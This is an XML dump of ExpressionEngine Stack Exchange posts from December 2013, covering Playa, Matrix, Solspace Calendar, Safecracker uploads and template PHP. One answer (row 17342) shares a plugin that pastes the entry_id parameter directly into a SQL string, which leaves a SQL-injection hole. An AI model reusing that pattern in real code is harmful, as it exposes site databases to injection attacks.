  <row Id="17320" PostTypeId="2" ParentId="17308" CreationDate="2013-12-02T16:02:13.243" Score="2" Body="&lt;p&gt;If the native &lt;a href=&quot;http://buildwithstructure.com/tags#tag_entries&quot; rel=&quot;nofollow&quot;&gt;Entries&lt;/a&gt; method doesn't suit your need, &lt;a href=&quot;http://devot-ee.com/add-ons/structure-entries&quot; rel=&quot;nofollow&quot;&gt;Structure Entries&lt;/a&gt; will solve your problem.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-12-02T16:02:13.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17322" PostTypeId="2" ParentId="17294" CreationDate="2013-12-02T16:06:42.237" Score="3" Body="&lt;p&gt;For developers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not easy, the display_field() method from wygwam gets its settings early on. However you maybe able to pluck apart the toolbars in the hook &quot;wygwam_config&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/pixelandtonic/wygwam_super_admin_source&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pixelandtonic/wygwam_super_admin_source&lt;/a&gt; for an extension that adds a &quot;source&quot; button for super-admins. You could use that as a basis to remove / set other config options as well (e.g. based on REQ == CP or ACTION or PAGE)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: more info &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/developers/wygwam_config.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/wygwam/developers/wygwam_config.html&lt;/a&gt;&lt;br&gt;&#xA;&lt;strong&gt;Edit2&lt;/strong&gt;: even better &lt;a href=&quot;http://dmlogic.com/blog/managing-wygwams-settings-via-code/&quot; rel=&quot;nofollow&quot;&gt;http://dmlogic.com/blog/managing-wygwams-settings-via-code/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-12-02T16:11:45.927" LastActivityDate="2013-12-02T16:11:45.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17323" PostTypeId="1" CreationDate="2013-12-02T16:14:34.030" Score="0" ViewCount="65" Body="&lt;p&gt;I'm using the &lt;code&gt;exp:calendar:events&lt;/code&gt; tag with Solspace Calendar. Is there a convenient way to output a year header, similar to &lt;code&gt;exp:channel:entries&lt;/code&gt; in my events output?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-12-03T03:56:24.623" Title="Solspace Calendar: Year Header" Tags="|solspace-calendar|calendar-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17324" PostTypeId="1" CreationDate="2013-12-02T16:28:17.297" Score="1" ViewCount="422" Body="&lt;p&gt;I've got a page which is displaying information based on a playa entry within a matrix field, when using the matrix :search parameter, this works as intended. But I need to be able to use the {count} tag. The problem is that the image thumbnails and information for each matching entry are simply looping, so the {count} just displays 1 for each of the returned results. I would like them to be 1, 2, 3, 4 etc. I have tried all the other Matrix tags, such as {row_count}, {total_rows}, {field_row_index} etc. but none of these do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any one could offer any guidance, or other ways round this, I'd be grateful. Thanks. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='profile-entry' disable=&quot;member_data|pagination|categories&quot; orderby=&quot;surname&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;{services_new search:parent=&quot;{segment_3}&quot;}&amp;lt;!-- Matrix Entry, 'parent' is the Playa column within it--&amp;gt;&#xA;    &amp;lt;!-- Playa 'related' fields that match segment_3--&amp;gt;&#xA;    &amp;lt;a href=&quot;{site_url}our-people/{url_title}&quot; class=&quot;{if {count} == 1}col4 firstfour firstthree firsttwo {/if}{if {count} == 2}col4{/if}{if {count} == 3}col4 firsttwo{/if}&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{profile-portrait}&quot; alt=&quot;{title} Profile Picture&quot; width=&quot;100%&quot; /&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;h3 class=&quot;title&quot;&amp;gt;{profile-position}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;{/services_new}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1149" LastEditorUserId="1149" LastEditDate="2013-12-05T09:14:01.087" LastActivityDate="2013-12-05T09:14:01.087" Title="Getting count to work for playa field within Matrix" Tags="|matrix|playa|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17325" PostTypeId="1" AcceptedAnswerId="17371" CreationDate="2013-12-02T17:03:50.230" Score="2" ViewCount="95" Body="&lt;p&gt;I have a Playa field associated with a channel of entries that have long names, often identical for much of the first 20/30 characters. My Playa field is configured to not allow multiple values and is thus a drop down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the drop down is clicked the entries are listed in full, with character wrapping. This allows me to find the entry that I want. But once selected the displayed choice is now truncated with ellipsis so I can't see the identity of the item that I selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make this field wider on the CP screen? I have plenty of horizontal width - the Playa field is in a Matrix field that has two columns, each at 50% of the screen.&lt;/p&gt;&#xA;" OwnerUserId="2436" LastEditorUserId="2436" LastEditDate="2013-12-02T17:09:13.363" LastActivityDate="2013-12-03T21:17:21.173" Title="How to make Playa drop down wider?" Tags="|playa|publish-layout|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17326" PostTypeId="1" CreationDate="2013-12-02T17:13:14.923" Score="1" ViewCount="1001" Body="&lt;p&gt;I want to search thru a channel's entries, they can filter by three different categories (that is fine in EE's advanced search form), as well as the entry title (another thing I can do with EE's advanced search form), but I also want to use one of the custom fields in that channel's field group to be filterable (which is not supported in EE's advanced search form.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed this add-on &lt;a href=&quot;http://devot-ee.com/add-ons/search-fields&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/search-fields&lt;/a&gt; that would allow me to filter by a custom field and entry title, but it looks like I'll have a problem filtering by multiple category groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize, I need to search one channel, and search filters would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;entry title&#xA;custom field (just one specific field)&#xA;category group (3 groups)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All filters (except the entry title field will be optional).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I go ahead and build a custom module to just search this specific channel (using those filters), I thought I'd see if anyone else dealt with this, thanks!&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-12-03T13:09:00.487" Title="search single channel, filter by categories, title and custom field" Tags="|channel-entries|categories|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17327" PostTypeId="2" ParentId="17325" CreationDate="2013-12-02T17:52:29.973" Score="3" Body="&lt;p&gt;EE allows you to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/cp_styles/#overriding-control-panel-style&quot; rel=&quot;nofollow&quot;&gt;override control panel styling&lt;/a&gt; by adding a override.css stylesheet to the themes folder. So you could just add this rule within that stylesheet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.playa-ss {width: 100% !important}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-12-02T17:52:29.973" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17328" PostTypeId="2" ParentId="17324" CreationDate="2013-12-02T18:28:02.823" Score="3" Body="&lt;p&gt;Are you trying to get the count of multiple playa entries for each matrix row? If so, you should be able to do something like the following, setting a different namespace prefix for matrix and playa to separate their tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_matrix_field_name var_prefix=&quot;mx&quot;}&#xA;    Matrix row {mx:row_count} of {mx:total_rows} total rows.&amp;lt;br&amp;gt;&#xA;&#xA;    {mx:your_playa_column_name var_prefix=&quot;pl&quot;} {!-- Playa column --}&#xA;        Playa entry &quot;{pl:title}&quot; with count of {pl:count}.&amp;lt;br&amp;gt;&#xA;    {/mx:your_playa_column_name}&#xA;&#xA;{/your_matrix_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;Based on your code example it looks like you're counting Matrix rows, so try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class=&quot;{if {row_count} == 1}classnames {/if} &#xA;or&#xA;{if {row_count} == 1}class=&quot;classnames&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2013-12-04T14:38:28.047" LastActivityDate="2013-12-04T14:38:28.047" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17329" PostTypeId="1" CreationDate="2013-12-02T18:45:27.573" Score="1" ViewCount="55" Body="&lt;p&gt;I've got a template view served via https with a Safecracker form that contains a Safecracker File field ({field:saef_image}) where the image source is returned as http:// instead of https://. The Safecracker delete image (write_mode_close.png) is also served unsecure. Since the assets aren't being served secure I'm getting the warning via the SSL status, which I want to fix. I'm using secure_action=&quot;yes&quot; and secure_return=&quot;yes&quot;. Any ideas on what's going on here or if there is a modification of the core that anyone knows of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.6.1, Safecracker v2.1&lt;/p&gt;&#xA;" OwnerUserId="2438" LastActivityDate="2013-12-02T18:45:27.573" Title="Safecracker Image field returns image source as http not https" Tags="|safecracker|safecracker-file|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17330" PostTypeId="2" ParentId="17282" CreationDate="2013-12-02T20:38:01.557" Score="1" Body="&lt;p&gt;No doubt there's a hundred ways to do this - but I think you could do it with CartThrob as well - especially since I think they've recently implemented MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;They should be able to also see the purchase cost of the inventory items, set their own pricing for the inventory items (ability to do this via bulk would be great, like &quot;20% profit for all items in category x&quot;)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if one way to handle this would be to think of the base cost as an MSRP and use discounts, rather than add price modifiers. As discounts are essentially entries stored in a channel, they could be built by/assigned to different stores via status or custom field, and can be applied to whole cart or entire category, etc, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will take tinkering, but seems possible.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-12-02T20:38:01.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17331" PostTypeId="2" ParentId="17282" CreationDate="2013-12-02T21:31:30.037" Score="2" Body="&lt;p&gt;At least with Store, you could do this but it will require some custom development. Out of the box with Store, each MSM site is completely separate and you can't sell items across sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are plenty of extension hooks which would let you access the items across sites, and add a site-specific mark-up to the prices.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-02T21:31:30.037" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17332" PostTypeId="2" ParentId="17283" CreationDate="2013-12-02T21:38:15.867" Score="1" Body="&lt;p&gt;You can certainly try and prevent this, but given how the internet works, you're going to have a hard time. People can always sign up for a new account, or use a different internet connection (their phone/ipad on 3G) to get around your check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the best method is a manual one: just state clearly that it is strictly one item per customer, and follow up with/refund customers who try to break the rules.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-02T21:38:15.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17334" PostTypeId="1" CreationDate="2013-12-02T22:30:23.493" Score="1" ViewCount="109" Body="&lt;p&gt;I'm about to create a new site with a &lt;strong&gt;2-3 year lifespan.&lt;/strong&gt; The new site will run off an existing EE2 installation which already runs two MSM sites. After 2-3 years, the site will be taken offline and new site with a 2-3 year lifespan will replace it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The data model of content for the new site will be sufficiently&#xA;similar to content on MSM site1 not to warrant new channels and&#xA;fields (I feel).&lt;/li&gt;&#xA;&lt;li&gt;In addition some content from site1 will be displayed on the new site.&lt;/li&gt;&#xA;&lt;li&gt;MSM license allows for up to 3 sites; additional sites are purchased separately&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Given this and the 2-3yr lifespan, my thinking is to create the new site using the 'old way' and not using MSM. Then display the appropriate content via a tag, custom field, or category based filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this logical? Am I missing any &quot;gotchas&quot;?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My other thought was to create a sufficiently generic new MSM site which I could re-purpose every 2-3 years. &lt;strong&gt;Is this a better option?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: The 'old way' is a means of running more than one domain from an EE installation without using MSM (the Multiple Site Manager add-on for EE). It involves creating and modifying an 'index.php' file at the web root of your new domain. Prior to EE2 and MSM this was documented on the official EE wiki, but it is no longer officially supported. For exact details see, for example, this post: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5872/old-style-multiple-sites-on-one-installation&quot;&gt;&amp;quot;Old-Style&amp;quot; multiple sites on one installation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="291" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-01-05T18:53:52.747" Title="MSM or 'old way' - Which to choose in this scenario?" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17336" PostTypeId="2" ParentId="17326" CreationDate="2013-12-03T01:14:58.090" Score="2" Body="&lt;p&gt;I've not tried it, but have you considered Reefine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/reefine&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/reefine&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-12-03T01:14:58.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17337" PostTypeId="1" AcceptedAnswerId="17338" CreationDate="2013-12-03T01:36:52.103" Score="0" ViewCount="74" Body="&lt;p&gt;I'm currently building a site right now that allows registered members to add their own logo to entries they create via a SAEF. I have Assets installed for this site but also have SafeCracker File available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm perceiving an issue where multiple members try uploading files like &lt;code&gt;logo.jpg&lt;/code&gt; thus overwriting other member logos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to keep upload destinations (subfolders?) separate where a member only sees their uploads (if browsing current uploaded items ala Assets) or possibly randomization of uploaded filenames if using a standard File field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11702/randomize-filenames-of-uploaded-files&quot;&gt;this answer on a different question&lt;/a&gt; that mentioned that Assets prevents filename collisions but I'm not sure if it allows browsing of existing images, which is not something I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts? Ideas?&lt;/p&gt;&#xA;" OwnerUserId="2" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-12-03T02:26:51.823" Title="Possible to force unique SAEF-uploaded filenames?" Tags="|assets|file-uploads|image|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17338" PostTypeId="2" ParentId="17337" CreationDate="2013-12-03T02:26:51.823" Score="2" Body="&lt;p&gt;I could be wrong, but I think Safecracker File automatically appends a number to the end of any duplicate filenames to avoid collisions. Have you verified that your perceived issue is actually an issue?&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-12-03T02:26:51.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17339" PostTypeId="2" ParentId="17323" CreationDate="2013-12-03T03:56:24.623" Score="2" Body="&lt;p&gt;How about something similar to the method using PHP described here?:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17162/solspaces-date-field-filter-can-it-do-date-headings/17189&quot;&gt;Solspace&amp;#39;s Date Field Filter - can it do date headings?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll rehash the answer here with modifications:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, display a heading when the first occurrence of a year is encountered, and store it in a PHP array to avoid displaying the same year again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $heading = array(); ?&amp;gt;&#xA;{exp:calendar:events /* your other parameters here */}&#xA;&#xA;    &amp;lt;?php if( ! isset($heading['{event_start_date format=&quot;%Y&quot;}']) ) :?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{event_start_date format=&quot;%Y&quot;}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php $heading['{event_start_date format=&quot;%Y&quot;}'] = '{event_start_date format=&quot;%Y&quot;}'; ?&amp;gt;&#xA;    &amp;lt;?php endif ?&amp;gt;&#xA;&#xA;    // Your other code&#xA;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget to enable PHP for your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, if you're looking for a chronological list of events, you should use &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; instead of &lt;code&gt;{exp:calendar:events}&lt;/code&gt;. {exp:calendar:cal} will order occurrences stemming from different event entries in the correct timeline order. In other words, occurrences that overlap on a timeline will be ordered correctly and chronologically (e.g. &lt;em&gt;AABABABBB&lt;/em&gt; instead of &lt;em&gt;AAAABBBBB&lt;/em&gt;). See this more detailed explanation page for more details: &lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-12-03T03:56:24.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17341" PostTypeId="2" ParentId="17289" CreationDate="2013-12-03T06:48:44.653" Score="2" Body="&lt;p&gt;I have built a couple of sites that integrate EE into Magento with both Magento Enterprise and Magento Community.  Basically I use EE for the part of the navigation the, left nav on CMS pages and the footer for the entire site.  When you are wanting content fro the CMS you basically force a 404 error in Magento and you override the 404 controller in Magento and then pass the request off to EE.  Once you get the generated html back from EE you give that to Magento to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link the give you an idea of how to do this, I used to have a really well documented blog post from someone but for the life of me I can not find the post any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.magentocommerce.com/blog/comments/tutorial-integrating-3rd-party-cms-content-within-magento/&quot; rel=&quot;nofollow&quot;&gt;http://www.magentocommerce.com/blog/comments/tutorial-integrating-3rd-party-cms-content-within-magento/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2013-12-03T06:48:44.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17342" PostTypeId="2" ParentId="17304" CreationDate="2013-12-03T09:18:15.510" Score="1" Body="&lt;p&gt;For anyone interested, I eventually went with the following. It provides the essential functionality I was looking for. If anyone has any pointers, suggestions or alternative solutions, please don't hesitate to provide them as I'm still fairly new to EE and will consider them as applicable answers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_news&quot; limit=&quot;10&quot;}&#xA;    {exp:my_plugin:process entry_id=&quot;{entry_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, my plugin, located in &lt;code&gt;\system\expressionengine\third_party\my_plugin\pi.my_plugin.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    if (!defined('BASEPATH')) exit('Page not found.');&#xA;&#xA;    class My_plugin {&#xA;&#xA;        public $return_data;&#xA;        public function __construct() {&#xA;            $this-&amp;gt;return_data = '';&#xA;        }&#xA;&#xA;        public function process() {&#xA;&#xA;            // get the entry data...&#xA;            $entry_id = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('entry_id');&#xA;            $sql = 'select * from ' . ee()-&amp;gt;db-&amp;gt;dbprefix('channel_data') .&#xA;                ' where entry_id = &quot;'. $entry_id .'&quot;';&#xA;            $select = ee()-&amp;gt;db-&amp;gt;query($sql);&#xA;&#xA;            if ($select-&amp;gt;num_rows() &amp;gt; 0) {&#xA;                $row = $select-&amp;gt;row();&#xA;                // do something with the data...&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2432" LastActivityDate="2013-12-03T09:18:15.510" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17343" PostTypeId="1" CreationDate="2013-12-03T09:31:30.890" Score="0" ViewCount="92" Body="&lt;p&gt;I've run into an issue I've never seen before regarding a password that appears to be too long. Is there a character limit to passwords?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client has been using a simple password generator that creates passwords like 'RoadFrame21Bubbles', however a recent password seems to be causing issues, it's 33 characters long and not really different from the format above apart from it's length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a shorter password and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client is reluctant to change this password for their user as they have sent out letters showing the password/user name already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated on this.&lt;/p&gt;&#xA;" OwnerUserId="523" LastActivityDate="2013-12-03T09:43:46.963" Title="Is there a character limit on passwords for Expression Engine?" Tags="|password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17344" PostTypeId="2" ParentId="17343" CreationDate="2013-12-03T09:43:46.963" Score="1" Body="&lt;p&gt;How were these users added to the system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell there is no maximum length although the input fields both in the CP and the CP login specify 40 maximum characters. So if they were created the &quot;normal way&quot; in the CP then this shouldn't be an issue (just use the first 40 chars in the pwd to log in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they were created programatically then there might be issues though, not sure..&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-12-03T09:43:46.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17345" PostTypeId="1" AcceptedAnswerId="17358" CreationDate="2013-12-03T09:52:52.193" Score="0" ViewCount="2038" Body="&lt;p&gt;I've just installed Dukt Videos 1.2.1 (the latest) on EE 2.7.2 and connected it to Vimeo which worked fine. However, when trying to publish an entry to a channel which uses the video field (in Matrix) I get this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: Cannot read property 'length' of undefined&#xA; at Function.b.extend.each (http://example.com/themes/javascript/compressed/jquery/jquery.js?v=1385992367:36:478)&#xA;    at Object.MainCtrl.$scope.providerRouting (http://example.com/themes/third_party/dukt_videos/components/videos-common/js/angular/controllers.js:225:5)&#xA;    at http://example.com/themes/third_party/dukt_videos/components/videos-common/js/angular/controllers.js:46:12&#xA;    at http://example.com/themes/third_party/dukt_videos/components/bower_components/angular-resource/angular-resource.js:413:30&#xA;    at wrappedCallback (http://example.com/themes/third_party/dukt_videos/components/bower_components/angular/angular.js:6995:59)&#xA;    at http://example.com/themes/third_party/dukt_videos/components/bower_components/angular/angular.js:7032:26&#xA;    at Object.Scope.$eval (http://example.com/themes/third_party/dukt_videos/components/bower_components/angular/angular.js:8218:28)&#xA;    at Object.Scope.$digest (http://example.com/themes/third_party/dukt_videos/components/bower_components/angular/angular.js:8077:25)&#xA;    at Object.Scope.$apply (http://example.com/themes/third_party/dukt_videos/components/bower_components/angular/angular.js:8304:24)&#xA;    at done (http://example.com/themes/third_party/dukt_videos/components/bower_components/angular/angular.js:9357:20) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know what might be going on?&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-12-03T15:11:01.240" Title="Dukt Videos - JS error on load: TypeError: Cannot read property 'length' of undefined" Tags="|video|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17346" PostTypeId="1" CreationDate="2013-12-03T10:34:13.327" Score="1" ViewCount="50" Body="&lt;p&gt;I am using solspace calendar. The weekend in our country is during Friday and Saturday. I would like to show the dates which are during the weekend in different color. Can anyone help me?&lt;/p&gt;&#xA;" OwnerUserId="2439" LastActivityDate="2013-12-10T05:48:02.190" Title="Calendar weekend days" Tags="|solspace-calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17347" PostTypeId="1" AcceptedAnswerId="18671" CreationDate="2013-12-03T10:40:39.900" Score="1" ViewCount="113" Body="&lt;p&gt;I have two grid inputs and I need to have a conditional statement that says:&#xA;if all fields of both grids are equal to 0, output some text.&#xA;The way I'm trying to do this is by changing a variable value based on an EE if.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $var = 0; ?&amp;gt;&#xA;{ex_product_dimensions_g}&#xA;  {if ex_product_dimensions_g:height != &quot;0&quot; || ex_product_dimensions_g:width != &quot;0&quot; || ex_product_dimensions_g:depth != &quot;0&quot;}&#xA;    {ex_product_dimensions_g:height}(h) x {ex_product_dimensions_g:width}(w) x {ex_product_dimensions_g:depth}(d)&amp;lt;br&amp;gt;&#xA;  {if:else}&#xA;    &amp;lt;?php $var++; ?&amp;gt;&#xA;  {/if}&#xA;{/ex_product_dimensions_g}&#xA;&#xA;{product_dimensions_case_g}&#xA;  {if product_dimensions_case_g:height != &quot;0&quot; || product_dimensions_case_g:width != &quot;0&quot; || product_dimensions_case_g:depth != &quot;0&quot;}&#xA;    {product_dimensions_case_g:height}(h) x {product_dimensions_case_g:width}(w) x {product_dimensions_case_g:depth}(d) (inc. Flightcase)&amp;lt;br&amp;gt;&#xA;  {if:else}&#xA;    &amp;lt;?php $var++; ?&amp;gt;&#xA;  {/if}&#xA;{/product_dimensions_case_g}&#xA;&#xA;&amp;lt;?php &#xA;if ($var &amp;gt;= 2):&#xA;  echo 'Not specified';&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason though $var seems to always increment regardless of the content in the grid input. Can the EE if statements be used for what I am trying to achieve, or is there a better way to do this? &lt;/p&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="2420" LastEditDate="2013-12-03T15:08:59.473" LastActivityDate="2014-01-23T12:17:02.370" Title="Compare contents of two grid inputs, possibly with variables?" Tags="|php|grid|ifelse|comparison|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17349" PostTypeId="2" ParentId="17346" CreationDate="2013-12-03T11:43:37.540" Score="2" Body="&lt;p&gt;Please, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{event_start_date format=&quot;%w&quot;}' &amp;gt; 4} class=&quot;weekend&quot; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;%w&lt;/code&gt; returns the day&lt;/a&gt; of the week, from 0, for Sunday, to 6, Saturday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/calendar/events//#event_start_date&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;event_start_date&lt;/code&gt;&lt;/a&gt; is available on both &lt;code&gt;exp:calendar:events&lt;/code&gt; and &lt;code&gt;exp:calendar:cal&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-12-05T12:19:34.150" LastActivityDate="2013-12-05T12:19:34.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
